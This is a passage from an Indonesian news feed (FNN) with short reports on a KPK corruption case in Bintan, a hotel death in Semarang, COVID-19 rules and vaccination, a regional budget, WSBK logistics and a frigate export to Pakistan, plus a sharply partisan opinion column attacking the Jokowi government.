tersebut. Kendati demikian, KPK saat ini belum dapat menginformasikan secara menyeluruh konstruksi perkara dan siapa saja pihak-pihak yang telah ditetapkan sebagai tersangka. Sebagaimana kebijakan pimpinan KPK saat ini bahwa untuk publikasi konstruksi perkara dan pihak-pihak yang telah ditetapkan sebagai tersangka akan dilakukan pada saat telah dilakukan upaya paksa baik penangkapan maupun penahanan terhadap para tersangka. Dalam penyidikan kasus tersebut, tim penyidik KPK telah menggeledah beberapa tempat di wilayah Jakarta, Tangerang Selatan, Serang, dan Bogor, yaitu rumah kediaman dan kantor dari para pihak yang terkait dengan kasus tersebut. KPK menemukan dan mengamankan berbagai barang barang bukti diantaranya dokumen, barang elektronik, dan dua unit mobil. (sws)

Pemuda Jatuh dari Lantai 6 Hotel di Semarang Diduga Korban Pembunuhan

Semarang, FNN - Polisi menyebut seorang pemuda yang terjatuh dari lantai 6 Hotel Grand Candi Semarang, Jawa Tengah pada Minggu (7/11) malam diduga tewas dibunuh. Kapolrestabes Semarang Kombes Irwan Anwar, di Semarang, Selasa, mengatakan Christopher Bobby (24), warga Perumahan Graha Estetika, Kota Semarang, diduga oleh pelaku didorong ke jendela kaca hotel hingga pecah dan terjatuh. Tersangka M Alfreandi (23), warga Perum Wana Mukti, Tembalang, Kota Semarang ditangkap usai penyelidikan yang dilakukan polisi atas kejadian tersebut. Menurut dia, peristiwa tersebut bermula ketika korban, tersangka, dan dua rekannya yang lain memesan dan kemudian masuk ke kamar 602 Hotel Grand Candi Semarang pada Minggu malam. "Diduga antara korban dan pelaku ada kesalahpahaman saat berada di kamar," katanya pula. Pelaku diduga mendorong korban ke arah kaca jendela hotel hingga pecah dan terjatuh ke balkon lantai 2 hotel. Korban Christhoper ditemukan dalam kondisi tewas dalam kejadian itu. Akibat perbuatannya, tersangka dijerat dengan Pasal 338 KUHP tentang Pembunuhan atau Pasal 359 KUHP tentang kealpaan yang menyebabkan seseorang meninggal dunia. Sebelumnya saat pemeriksaan awal, saksi dalam kejadian itu mengaku korban terjatuh dari kamar setelah berlari dari arah kamar mandi ke jendela kamar hotel hingga terjatuh. Dalam keterangan itu, juga disebutkan korban dalam keadaan masuk usai mengonsumsi minuman keras di salah satu kafe tak jauh dari hotel. Dari informasi yang dihimpun, korban, pelaku, dan kedua temannya menginap di hotel tersebut usai menjalani pendidikan advokat. (sws)

Wakil Ketua DPR Sebut Perubahan Iklim Merupakan Ancaman Global

Jakarta, FNN - Wakil Ketua DPR RI Bidang Korkesra Abdul Muhaimin Iskandar menyatakan perubahan iklim merupakan ancaman global yang dampaknya akan dirasakan seluruh dunia. "Bukti sains dan kualitatif yang tidak bisa dibantah bahwa bumi semakin panas, cuaca ekstrem, permukaan air laut naik dan banjir dalam skala yang ekstrem," kata Muhaimin dalam keterangan tertulis di Jakarta, Selasa. Muhaimin menjelaskan perubahan adalah ancaman katastropik (mematikan) bagi keberlanjutan dan kemakmuran semua negara dan semua penduduk dunia. Hal itu disampaikan Muhaimin saat menghadiri talkshow bersama pelaku usaha di Paviliun Indonesia COP26 UNFCCC Glasgow, Senin, 8 November 2021. Muhaimin menegaskan Indonesia memiliki kedudukan khusus dan dapat memainkan peran penting dalam mendinginkan suhu bumi. Dia menyebut Indonesia sebagai paru-paru dunia, karena hutan alam dan mangrove akan dan telah menyerap karbon dalam skala raksasa. Meski demikian, Muhaimin mengakui bahwa sebagai negara kepulauan, Indonesia memiliki kerentanan ekstrem akibat perubahan iklim, naiknya permukaan laut, curah hujan ekstrem dan kegagalan panen. Karena itu, Muhaimin menyatakan perlu solusi-solusi perubahan iklim yang urgen dan mendesak untuk kepentingan Indonesia dan kebutuhan dunia. “Kita perlu menggunakan pendekatan ‘a whole government’ dan ‘a whole society’ untuk mencapai target peak emission nasional dan carbon net sink FOLU (Forestry and Other Land Use) pada tahun 2030 dan Net Zero Emission pada tahun 2060 atau lebih cepat,” kata Muhaimin menegaskan. Di sisi lain, Gus Muhaimin mengutarakan dua solusi mengatasi perubahan iklim. Pertama, perubahan kebijakan, dan kedua adalah perubahan perilaku. Dua solusi ini disebutnya harus dilaksanakan berbarengan. Perubahan di sisi negara menurut Gus Muhaimin tidak cukup tanpa diimbangi perubahan perilaku masyarakat. Menurut Muhaimin, perubahannya itu dari sisi supply dan sisi demand. Dengan cara itu, pada tahun 2030, akan ada penambahan sumber energi kita yang bersumber dari matahari, angin dan sumber-sumber energi renewable lainnya. "Pada tahun 2030, kita akan berhasil menghentikan dan mengurangi deforestasi. Dan dengan cara itu pula, pada tahun 2060 atau lebih cepat, kita sudah dapat meraih target Net Zero,” tutur Muhaimin. Sementara itu, Dirut Pertamina Power Indonesia Dannif Danu Saputro yang juga hadir dalam kesempatan tersebut memaparkan potensi besar Indonesia sebagai negara kedua penghasil energi panas bumi setelah Amerika Serikat. Anugerah energi panas bumi ini dimiliki Indonesia karena berada di kawasan cincin api atau "ring of fire". “Sebesar 40 persen cadangan panas bumi dunia ada di Indonesia. Saya kira sudah waktunya cadangan yang melimpah ini bisa dioptimalkan,” kata Dannif. Di kesempatan yang sama, Deputy Direktur Corp Affairs APRIL, Dian Novarina memaparkan pentingnya Restorasi Ekosistem Riau sebagai salah satu program restorasi ekosistem terbesar di Indonesia. Menurut Dian, Restorasi Ekosistem Riau ini adalah untuk melindungi, menilai, memulihkan dan mengelola keanekaragaman hayati di kawasan hutan hujan lahan gambut dataran Sunda terbesar yang tersisa di Indonesia. (sws)

BKKBN: Diabetes yang Diderita Lansia Tergantung Pola Asuh Keluarga

Jakarta, FNN - Deputi Bidang Keluarga Sejahtera dan Pemberdayaan Keluarga BKKBN Nopian Andusti mengatakan tingkat keparahan penyakit diabetes yang diderita oleh penduduk lanjut usia (lansia) bergantung pada pola asuh yang dijalankan keluarga. “Jadi keluarga itu harus betul-betul perhatian dan peduli. Bisa memantau setiap aktivitas, kondisi dari lansia yang ada dalam keluarga,” kata Nopian saat ditemui ANTARA di Jakarta, Selasa. Nopian menuturkan tingginya kadar gula darah dalam tubuh pada jangka panjang, dapat mempercepat lansia mengalami mudah lupa, penuaan dini hingga memicu timbulnya beberapa penyakit akibat komplikasi. Komplikasi tersebut antara lain dapat menyebabkan hipertensi, stroke, kebutaan, gagal ginjal hingga mengancam jiwa seseorang. Menurut Nopian, berbagai macam komplikasi itu dapat dicegah dengan keluarga memahami gejala-gejala diabetes. Seperti sering merasa haus, sering buang air kecil terutama pada malam hari, turunnya berat badan tanpa penyebab yang jelas, leas, pandangan kabur, luka sulit sembuh dan sering mengalami infeksi. Selanjutnya, keluarga juga dapat memperhatikan aktivitas yang dilakukan lansia, baik aktivitas yang dilakukan baik melalui gawai maupun berkumpul dengan komunitas tertentu karena kebahagiaan yang didapatkan lansia dari aktivitas tersebut dapat mempengaruhi pola pikir untuk menjalani hidup sehat. Kemudian, penting pula untuk memeriksakan secara rutin kesehatan para lansia. Lebih lanjut dia menjelaskan, keluarga yang menjadi pendamping turut memiliki andil dalam mengontrol pola makan yang diberikan melalui makanan yang sehat dan bergizi seperti banyak memakan sayuran segar juga makanan yang tidak terkontaminasi dengan pengawet. Hal tersebut dapat membantu lansia menjadi lebih sehat dan kadar gula menjadi lebih terkontrol. “Ingat, diabetes tidak dapat disembuhkan tapi dapat dikontrol. Jadi untuk memahami apa saja gejala diabetes itu, yang paling utama keluarga perlu memperhatikan pola makan yang diberikan terutama pada makanan manis atau instan,” ujar dia. Nopian juga mengatakan, BKKBN dapat membantu keluarga menjaga lansia untuk terhindar dari penyakit diabetes melalui senam sehat yang ada pada program Bina Keluarga Lansia (BKL) dan aplikasi GoLantang yang memberikan edukasi kesehatan juga mengontrol kesehatan lansia melalui kalkulator kesehatan. Ia berharap semua keluarga dapat lebih memperhatikan lansia dengan menerapkan tiga fungsi keluarga yakni asah, asih dan asuh agar lansia dapat terhindar dari berbagai macam penyakit sekaligus menjadi lansia yang tangguh, bahagia dan bermanfaat bagi keluarga dan lingkungan sekitarnya. “Perlu diingat, setiap lansia itu pernah muda, tapi yang muda belum tentu akan menjadi lansia. Oleh sebab itulah, sejak muda kita harus sudah mempersiapkan diri untuk menjadi lansia yang tangguh melalui persiapan diri sendiri,” kata Nopian. (mth)

Pemkab Belitung Kurangi Belanja Daerah Rp7 Miliar Pada APBD 2022

Belitung, Babel, FNN - Pemerintah Kabupaten Belitung, Provinsi Kepulauan Bangka Belitung, mengurangi alokasi anggaran belanja daerah dalam rancangan APBD Tahun 2022 dari Rp1.086 triliun menjadi Rp1.079 triliun atau turun Rp7 miliar (0,65 persen) dari APBD 2021. "Kami tetap berkomitmen agar pelaksanaan belanja urusan pelayanan dasar tetap menjadi prioritas meskipun terjadi penurunan alokasi belanja daerah," kata Bupati Belitung, Sahani Saleh di Tanjung Pandan, Selasa. Menurut dia, perubahan atau penurunan alokasi anggaran belanja daerah merupakan dampak dari besaran transfer dana pusat ke daerah sehingga menyebabkan terjadinya "refocusing" atau perubahan terhadap beberapa kegiatan dan komponen belanja. "Kami juga mengalokasikan anggaran yang memadai untuk mendukung penanganan COVID-19 dan dampaknya sehingga ini mempengaruhi pos belanja dalam postur APBD 2022," ujarnya. Ia mengatakan arah kebijakan belanja daerah tahun anggaran 2022 diupayakan dengan pengaturan pola pembelanjaan yang proporsional, efisien dan efektif dengan menyusun program pembangunan daerah sesuai dengan prioritas dan kebutuhan daerah yang berorientasi pada pemenuhan kebutuhan utama. "Meliputi urusan pemerintah wajib yang terkait dengan pelayanan dasar publik dan percepatan pencapaian sasaran pembangunan," ujarnya. Dia mengatakan tema pembangunan Belitung tahun 2022 adalah pemulihan ekonomi melalui penguatan potensi unggulan daerah antara lain penguatan sektor pariwisata dan ekonomi kreatif, pertanian dan perikanan, kesehatan, kualitas pendidikan, infrastruktur strategis, reformasi birokrasi dan pelayanan publik. "Kami tetap berkomitmen agar pelaksanaan belanja urusan pelayanan dasar tetap menjadi prioritas. Meskipun secara nasional banyak terjadi penyesuaian pada postur APBN yang berdampak pada kerangka pendapatan dan belanja pada postur APBD Belitung," katanya. Ia menyebutkan, belanja operasi pada rancangan APBD Belitung tahun 2022 dialokasikan sebesar Rp849 miliar turun sebesar 2,59 persen dari tahun sebelumnya, belanja modal dialokasikan sebesar Rp127 miliar naik 25,47 persen, belanja tidak terduga sebesar Rp3,45 miliar atau naik sebesar Rp200 juta. "Sedangkan belanja transfer pada rancangan APBD 2022 dialokasikan sebesar Rp98 miliar," ujarnya. Ia optimistis, dengan rancangan anggaran tersebut dapat mendorong percepatan pencapaian target pembangunan yang sudah direncanakan khususnya dalam hal pelayanan dan pemenuhan kebutuhan dasar masyarakat. "Seperti pendidikan dan kesehatan serta urusan yang merupakan "Mandatory Spending" atau perintah perundang-undangan lainnya," kata dia. (sws)

AHY Minta Pengurus Domokrat Papua Barat Waspada COVID-19

Sorong, FNN - Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY) meminta seluruh pengurus dan kader partai di Provinsi Papua Barat agar tetap waspada COVID-19. "Pandemi COVID-19 belum berakhir, kita jangan lengah dan tetap menerapkan protokol kesehatan sebagai upaya pencegahan," kata AHY saat membuka Musyawarah Daerah Demokrat Papua Barat secara virtual, Selasa. Dia mengatakan bahwa situasi semakin baik dan stabil akhir-akhir ini, namun belajar dari lonjakan kasus pada gelombang kedua lalu, sehingga kita tidak boleh lengah. "Dimana pada kasus gelombang kedua tersebut, kita merasa sudah berkurang lalu kita lengah dan tiba-tiba masuk varian baru Delta, kita akhirnya tidak siap menghadapinya," ujar AHY. Karena itu, ia mengingatkan kepada seluruh kader dan pengurus Demokrat Papua Barat agar dalam melakukan aktivitas selalu menerapkan praktik kesehatan. "Mari kita jaga kesehatan dengan baik, agar kita dapat melanjutkan perjuangan pada 2024 menuju kejayaan Partai Demokrat," kata dia pula. (sws)

MGPA: Logistik WSBK dari Qatar Tiba di Bandara Lombok

Lombok Tengah, FNN - Mandalika Grand Prix Association (MGPA) menyatakan, logistik untuk kebutuhan World Superbike (WSBK) yang akan berlangsung di Sirkuit Pertamina Mandalika, Lombok Tengah, Nusa Tenggara Barat telah tiba di Bandara Lombok menggunakan pesawat kargo Boeing 777 Freighter yang terbang dari Doha, Qatar. "Logistik kebutuhan WSBK ini akan datang secara bergelombang baik lewat jalur transportasi udara mupun jalur trasnportasi air," kata Direktur Strategis dan Komunikasi Mandalika Grand Prix Association (MGPA) Happy K Harinto di Praya, Selasa. Ia mengatakan, beberapa jenis logistik pada ajang balapan yang dibawa dari Qatar itu dan telah tiba di Lombok diantaranya sepeda motor pembalap, sparepart atau peralatan motor, alat telekomunikasi, peralatan Media TV dan peralatan video serta material lainnya dari tim Dorna. "Sepedah motor yang dibawa ini sebanyak 70 motor dan 26 motor untuk pebalap IATC," katanya. Sementara itu, untuk logistik yang bersifat liquid seperti, ban, oli dan bahan bakar minyak (BBM) serta logistik lainnya dibawa melalui jalur laut dan tiba dalam waktu dekat. "Semua logistik dipastikan tiba tepat waktu, sebelum balapan dimulai," katanya. Ia mengatakan, untuk kru dan para pebalap IATC maupun WSBK telah tiba di Indonesia dan mereka masih dikarantina di Jakarta selama tiga hari. Kemudian setelah selesai melakukan karantina baru dibawa menuju Lombok melalui Bandara Lombok. "Kru dan para pebalap telah datang di Indonesia, mereka masih dikarantina di Jakarta," katanya. Kedatangan, logistik WSBK tersebut mendapat pengawalan ketat dari aparat gabungan Polres Lombok Tengah. "Logistik WSBK itu tiba di bandara Lombok tadi malam dan tiba siang ini (red-Selasa)," kata Kapolres Lombok Tengah, AKBP Hery Indra Cahyono, di Praya. Setelah logistik itu tiba, team ground handling melaksanakan bongkar muat bahan logistik untuk even World Superbike ke mobil Truck container sebanyak 13 unit yang telah disiapkan. "Selanjutnya dilakukan proses penyegelan oleh tim Bea dan Cukai," katanya. Selanjutnya, 13 unit truk kontainer yang membawa bahan logistik untuk World Superbike berangkat menuju ke Pertamina Mandalika Internasional Street Circuit melalui jalan Bypass Bandara Lombok-Mandalika. "Anggota yang diterjunkan untuk mengamankan kedatangan logistik itu sebanyak satu pleton," katanya. (mth)

Satpol PP Benarkan Pernyataan Luhut Soal Bar Langgar PPKM di Bandung

Bandung, FNN - Kepala Satuan Polisi Pamong Praja (Satpol PP) Kota Bandung Rasdian Setiadi membenarkan pernyataan dari Menko Kemaritiman dan Investasi Luhut Binsar Pandjaitan soal adanya bar dan klab malam yang melanggar aturan PPKM di Bandung. Menurut Rasdian, di masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) yang diperlonggar ini ada beberapa bar yang seperti bermain kucing-kucingan dengan petugas Satpol PP, sehingga ketertiban itu hanya dilakukan saat ada petugas yang mengawasi. "Kami juga tidak bisa mengawasi selama 24 jam, tapi kita akali dengan pengawasan di jam-jam tertentu seperti di jam 23.00 hingga jam 00.00 WIB," kata Rasdian di Bandung, Jawa Barat, Selasa. Rasdian mengatakan pihaknya pun berupaya sedemikian rupa agar pengawasan itu dapat secara mendadak dilakukan. Sejauh ini, kata dia, aparat gabungan baik dari unsur TNI maupun Polri juga kerap turut terlibat dalam pengawasan tersebut. "Ada kita gabungan memang seperti itu, kita bergeraknya juga langsung, kita apel dan langsung berangkat," kata dia. Sejauh ini, menurutnya ada sebanyak empat bar yang telah disegel oleh pihaknya karena melanggar aturan PPKM atau Peraturan Wali Kota (Perwal). "Kita baru menemukan empat pelanggaran, kalau yang lainnya baru peringatan secara lisan," kata dia. Sejumlah bar tersebut, kata dia, melakukan pelanggaran karena beroperasi melebih pukul 00.00 WIB. Sehingga mereka diberi sanksi penyegelan selama 14 hari dan harus membayar denda. Terkait pernyataan Luhut soal oknum yang mengabaikan aturan PeduliLindungi, Rasdian mengatakan nantinya baik pengunjung maupun pengujinya bakal dikenakan sanksi apabila melanggar ketentuan. "Jadi nanti juga dikenakan denda perorangan, pengelolanya dan pengunjungnya," katanya. Untuk itu, ia mengimbau kepada masyarakat agar selalu menerapkan protokol kesehatan dengan ketat. Di masa kasus COVID-19 yang lebih rendah dari sebelumnya ini, menurutnya masyarakat tidak boleh lengah. "Apa yang ada di Inmendagri (Intruksi Menteri Dalam Negeri) dan Perwal, itu yang harus diterapkan ketat, termasuk aplikasi PeduliLindungi," kata Rasdian. Sebelumnya, Luhut yang juga sekaligus Koordinator PPKM Jawa-Bali mengungkapkan timnya menemukan beberapa bar dan kelab malam di Bandung yang beroperasi di luar ketentuan. Bar-bar tersebut melakukan pelanggaran mulai dari melebihi ketentuan jam operasional, menerima pengunjung melebihi batas, dan mengabaikan penggunaan PeduliLindungi. "Mereka juga melakukan berbagai cara untuk mengelabui petugas di antaranya mematikan lampu depan, memisahkan tempat parkir mobil dari lokasi hingga tidak memperbolehkan pengunjung untuk mengambil gambar," kata Luhut, Senin. (mth)

Memetik Pahlawan di Musim Kedzoliman

Oleh: Yusuf Blegur Dengan berlarut-larutnya kasus pembunuhan 6 laskar pengawal Imam Besar Habib Rizieq Syihab, yang cenderung dilakukan oleh aparatur negara, seharusnya rakyat Indonesia tidak perlu 'shock' dengan pelbagai penyalahgunaan kekuasaan dan perilaku korup dari kalangan pemerintah. Termasuk kasus PCR yang melibatkan beberapa menteri rezim Jokowi. Memang terasa menyakitkan, saat tahu ada kongsi bisnis pengusaha dan pejabat mencekik rakyat yang sudah sekarat karena pandemi. Tapi mau bilang apalagi?. Jangankan hak konstitusi dan demokrasi. Apalagi sekadar mencuri dan merampok uang rakyat. Nyawapun bisa diambil rezim ini, jika dapat memenuhi syahwat kepuasaan materi dan kelanggengan kekuasaan. Betapa jargon-jargon Saya Indonesia, Saya Panca Sila dan Saya NKRI. Seperti menjadi pepesan kosong dan memuakkan. Begitu pula dengan slogan-slogan revolusi mental dan kerja, kerja, kerja. Semua yang berbusa-busa diucapkan, tidak lebih dari bentuk kamuflase dan pencitraan yang sarat dengan kebohongan. Kepemimpinan Jokowi dan pemerintahan yang semakin nyata mewujud sebagai boneka oligarki. Bukan hanya mengkhianati amanat penderitaan rakyat. Rezim yang pantas disebut gerombolan kekuasaan rusak itu, juga telah menghancurkan tatanan kehidupan bernegara dan berbangsa. Rusak moral, tindakan dan kebijakan negara. Suasana peringatan hari pahlawan pada 10 November 2021. Mungkin akan bernasib sama dengan peringatan hari-hari besar kenegaraan lainnya. Sebut saja hari pendidikan nasional, hari kebangkitan nasional, hari kemerdekaan Indonesia, hari Sumpah Pemuda dll. Hari-hari istimewa yang harusnya menjadi refleksi sekaligus evaluasi terhadap sejarah dan hikmah dari nilai-nilai yang terkandung di dalamnya. Telah lama menjadi sekedar formalitas dan bahkan terkesan tanpa makna dan dianggap sekedar basa-basi. Dengan praktek-praktek penyelenggaraan negara yang jauh dan bertentangan dari semangat hari-hari bersejarah itu. Pemerintahan Jokowi yang sudah lebih 7 tahun ini berkuasa, justru melakukan hal-hal yang kontradiktif dan manipulatif. Indonesia sebagai negara merdeka tapi faktanya justru tanpa kedaulatan politik, kemandirian ekonomi dan kepribadian dalam kebudayaan. Dengan pemerintahan yang menjadi budak dari kekuasaan oligarki politik dan ekonomi. Bukan hanya perampokan sumber daya alam. Konstitusi juga bisa dibeli untuk melahirkan kekuasaan yang tiran yang diperintah oleh borjuasi korporasi kapitalistik. Rakyat harus berhadapan dengan aparatur keamanan yang menjadi centeng dari penjajahan di negerinya sendiri. Presiden dan para menteri serta pejabat institusi negara lainnya. Secara berjamaah melakukan penyimpangan. Penyalahgunaan kekuasaan dan korupsi dipertontonkan di sana-sini di hadapan rakyat. Kekuasaan telah melakukan kejahatan negara tanpa tersentuh hukum. Bagi rakyat yang melawan, maka ia menjadi terpidana. Dengan tindakan represi bahkan pembunuhan jika diperlukan. Persatuan dan kesatuan bangsa juga terus terancam. Mungkin bukan saja berpotensi memicu konflik horisontal sesama anak bangsa. Mirisnya rezim Jokowi menggunakan uang rakyat untuk memecah belah rakyatnya sendiri dengan memelihara dan merawat para buzzer pendengung dan influencer. Tidak sekedar memproduksi hoax dan fitnah. Para serdadu komunikasi bayaran bukan hanya merekayasa isu sosial, politik dan hukum. Mereka juga menyasar pada sektor keagamaan. Hasilnya penghinaan agama, para ulama dan umat Islam. Bukan hanya politisasi dan kriminalisasi umat Islam. Para penista agama itu juga berupaya menyerang aqidah umat Islam. Pertama dan satu-satunya rezim kekuasaan di Indonesia yang pernah ada melakukan kejahatan keagamaan. Akibatnya bisa dipastikan benih-benih perpecahan mulai tumbuh subur. NKRI semakin berada di ambang kehancuran. Tidak perlu waktu lama untuk menemukan peta dunia tanpa keberadaan negara Republik Indonesia, kelak. Dengan kata lain, menjelang NKRI bubar. Pejabat Laknat Pemerintahan yang harusnya diisi oleh pemimpin dan para cendekia. Seketika berubah menjadi sekumpulan para broker dan penjahat. Memanfaatkan lemahnya rakyat untuk mendapatkan kekuatan hukum kekuasaan. Selanjutnya kekuasaan dipakai untuk melanggengkan kenikmatan hidup yang ditopang oleh harta benda dan jabatan. Untuk mempertahankannya, rezim pemerintahan akan menggunakan segala cara. Demi kepentingan menumpuk uang dan harta, rezim terus mengeksploitasi kehidupan rakyat. Demi kekuasaan yang kuat, rakyat harus tunduk dan dibuat selemah mungkin. Jika perlu rakyat tidak berdaya selamanya dibawah kaki kekuasaan diktator dan otoriter yang disuapi para taipan. Sejauh penderitaan hidup rakyat selama ini. Melalui kucuran keringat, darah dan nyawa. Pemerintahan Jokowi begitu sempurna melakukan penghianatan terhadap negara. Terlebih ditengah pandemi yang membuat rakyat menerima kepahitan hidup dan kematian. Dengan kesadaran dan kesengajaaan, pemerintahan Jokowi justru memanfaat kondisi rakyat yang sudah sedemikian buruknya. Rakyat dijadikan komoditas untuk kesenangan hidup penyelenggara negara yang dzolim. Aparat pemerintahan bersama pengusaha hitam, terus menikmati kekayaan uang rakyat di atas penderitaan rakyat. Sungguh tragis nasib rakyat Indonesia. Bukan kepemimpinan yang melayani, mengayomi dan melindungi. Rakyat malah semakin terpuruk, oleh para pemimpinnya sendiri. Para pejabat tak ubahnya monster pembunuh berwajah manusia. Penguasa dan para taipan bersama menjelma sebagai predator pemangsa rakyat. Masihkah rakyat bermimpi ada pahlawan di negeri ini?. Atau mungkin saja peringatan hari pahlawan kali ini dapat menjadi momentum rakyat Indonesia menemukan dan menjemput sosok pahlawan yang diidamkan?. Setelah cukup lama dalam ketertindasan, rakyat bisa memetik pahlawan di musim kedzoliman. Semoga. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhir Berdikari.

KPK Dalami Arahan Bupati Bintan Nonaktif untuk Dapatkan "Fee"

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami dugaan arahan tersangka Bupati Bintan nonaktif Apri Sujadi (AS) untuk mendapatkan "fee" dari pemberian izin kuota rokok dan minuman beralkohol. KPK, Senin (8/11), memeriksa lima saksi untuk tersangka Apri dalam penyidikan kasus dugaan korupsi pengaturan barang kena cukai dalam pengelolaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan, Kepulauan Riau, Tahun 2016-2018. Pemeriksaan dilakukan di Kantor Polres Tanjungpinang, Kepulauan Riau. "Para saksi hadir dan didalami keterangannya, antara lain terkait dengan dugaan arahan berulang dan berlanjut dari tersangka AS untuk mendapatkan "fee" atas setiap pemberian izin kuota rokok dan minuman beralkohol di BP Bintan Tahun 2017-2018," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Lima saksi itu, yakni Staf Bidang Perindag dan Penanaman Modal Badan Pengusahaan Bintan Wilayah Kabupaten Bintan dan Kepala Bidang Penyelenggaraan Pelayanan Perizinan di DPMPTSP Kabupaten Bintan Alfeni Harmi, Kepala Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk, dan Keluarga Berencana (DP3KB) Kabupaten Bintan/Kepala BP Bintan 2011-2016 Mardhiah, anggota Bidang Perdagangan dan Penanaman Modal BP Bintan Risteuli Napitupulu. Selanjutnya, Kepala Dinas Perpustakaan dan Arsip Daerah Kabupaten Bintan/anggota (2) Bidang Pelayanan Terpadu BP Bintan Tahun 2011-2013/Wakil Kepala BP Bintan Tahun 2013-2016 Edi Pribadi dan anggota (4) Bidang Pengawasan dan Pengendalian BP Bintan Tahun 2016-sekarang Radif Anandra. Selain lima saksi tersebut, KPK memanggil Sekretaris Dewan Perwakilan Rakyat Daerah Kabupaten Bintan/ Wakil Kepala BP Bintan Tahun 2011-3013/anggota (2) Bidang Pelayanan Terpadu BP Bintan Tahun 2013-2016 Muhammad Hendri. Namun, KPK menginformasikan saksi tersebut telah meninggal dunia. KPK telah menetapkan Apri Sujadi dan Plt Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Mohd Saleh H Umar (MSU) sebagai tersangka. Keduanya disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. Apri diduga menerima sekitar Rp6,3 miliar dan Mohd Saleh menerima sekitar Rp800 juta. Dalam konstruksi perkara, KPK menjelaskan tersangka Apri pada 17 Februari 2016 dilantik menjadi Bupati Bintan yang secara "ex-officio" menjabat sebagai Wakil Ketua I Dewan Kawasan Bintan. Pada awal Juni 2016, bertempat di salah satu hotel di Batam, Apri memerintahkan stafnya untuk mengumpulkan para distributor rokok yang mengajukan kuota rokok di BP Bintan dan dalam pertemuan tersebut diduga terdapat penerimaan sejumlah uang oleh Apri dari para pengusaha rokok yang hadir. Atas persetujuan Apri, dilakukan penetapan kuota rokok dan Minuman Mengandung Etil Alkohol (MMEA) dan menerbitkan kuota rokok sebanyak 290.760.000 batang dan kuota MMEA dengan rincian, yakni golongan A sebanyak 228.107,40 liter, golongan B sebanyak 35.152,10 liter, dan golongan C sebanyak 17.861.20 liter. Pada 2017, BP Bintan menerbitkan kuota rokok sebanyak 305.876.000 batang (18.500 karton) dan kuota MMEA dan diduga dari kedua kuota tersebut ada distribusi jatah bagi Apri sebanyak 15.000 karton, Mohd Saleh sebanyak 2.000 karton, dan pihak lainnya sebanyak 1.500 karton. Pada Februari 2018, Apri memerintahkan Kepala Bidang Perizinan BP Bintan Alfeni Harmi dan diketahui oleh Mohd Saleh untuk menambah kuota rokok BP Bintan Tahun 2018 dari hitungan awal sebanyak 21.000 karton sehingga total kuota rokok dan kuota MMEA yang ditetapkan BP Bintan Tahun 2018 sebanyak 452.740.800 batang (29.761 karton). Selanjutnya kembali dilakukan distribusi jatah di mana untuk Apri sebanyak 16.500 karton, Mohd Saleh 2.000 karton, dan pihak lainnya sebanyak 11.000 karton. Dari 2016 sampai 2018, BP Bintan menerbitkan kuota MMEA kepada PT Tirta Anugrah Sukses (TAS) yang diduga belum mendapatkan izin edar dari BPOM dan dugaan terdapat kelebihan ("mark up") atas penetapan kuota rokok di BP Bintan tersebut. KPK menduga perbuatan para tersangka mengakibatkan kerugian keuangan negara sekitar Rp250 miliar. (sws)

China Ekspor Kapal Perang Terbesar, Tercanggih ke Pakistan

Beijing, FNN - China mengekspor kapal perang terbesar dan tercanggih ke Pakistan yang tidak pernah dilakukannya ke negara mana pun. Pelepasan kapal jenis fregat hasil rancang bangun China State Shipbuilding Corporation Limited (CSSC) untuk Angkatan Laut Pakistan itu dilakukan melalui upacara seremonial di galangan CSSC di Shanghai, Senin (8/11). Fregat 054 yang kemudian dinamai dengan PNS Tughril tersebut dibuat khusus untuk AL Pakistan dengan teknologi mutakhir, berdaya jelajah tinggi dengan kemampuan perang antar permukaan, dari permukaan ke udara, dan dari permukaan ke bawah laut, selain juga kemampuan pengawasan yang luas, demikian media China, Selasa. Dilengkapi dengan sistem peralatan tempur elektronik yang canggih dan modern, kapal fregat bernomor lambung 054A/P tersebut dapat menjalankan sejumlah misi peperangan dalam berbagai situasi. Ini fregat terbesar dan tercanggih yang pernah China ekspor, demikian CSSC. Pengiriman PNS Tughril tersebut menjadi babak baru kemitraan Pakistan-China yang telah teruji oleh ruang dan waktu yang relatif lama, demikian Duta Besar Pakistan untuk China Mouin ul Haque dikutip Global Times. Direktur CSSC Du Gang yang juga wakil Partai Komunis China (CPC) di galangan tersebut mengaku bangga bisa mengirimkan PNS Tughril tepat waktu. Menurut dia, ekspor tersebut menjadi tonggak utama dalam kemitraan jangka panjang China-Pakistan karena kedua negara terikat oleh rasa saling percaya. Pakistan yang 90 persen populasinya Muslim merupakan sekutu utama China dalam berbagai bidang. Pakistan bersama China dan Rusia turut membidani berdirinya pemerintahan baru di Afghanistan. (sws)

Kemenkes Upayakan 60 Persen Penduduk Peroleh Dosis Pertama Bulan Ini

Jakarta, FNN - Kementerian Kesehatan RI berusaha mencapai target 60 persen penduduk di semua provinsi sudah mendapatkan vaksin COVID-19 dosis pertama pada November 2021. “Mendorong percepatan vaksinasi di provinsi, dimana syarat penurunan level Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) juga terkait capaian vaksinasi,” kata Juru Bicara Vaksinasi COVID-19 Kemenkes Siti Nadia Tarmizi di Jakarta, Selasa pagi. Siti Nadia memastikan stok vaksin COVID-19 di Indonesia saat ini cukup untuk mencapai target tersebut. “Karena pengiriman vaksin dari produsen yang sesuai jadwal,” katanya. Nadia mengatakan TNI dan Polri masih dilibatkan dalam membantu pelaksanaan vaksinasi, terutama pada daerah berkategori terdepan, terluar, dan tertinggal (3T). "Dukungan TNI-Polri merupakan upaya perluasan akses vaksinasi bagi masyarakat,” ujarnya. Menurut Siti Nadia, beberapa daerah yang tingkat vaksinasinya masih rendah bukan disebabkan oleh proses penyuntikan yang berjalan lambat. "Tapi, mungkin harus ada penajaman strategi untuk memastikan pengelolaan vaksin jangan sampai kedaluwarsa dan 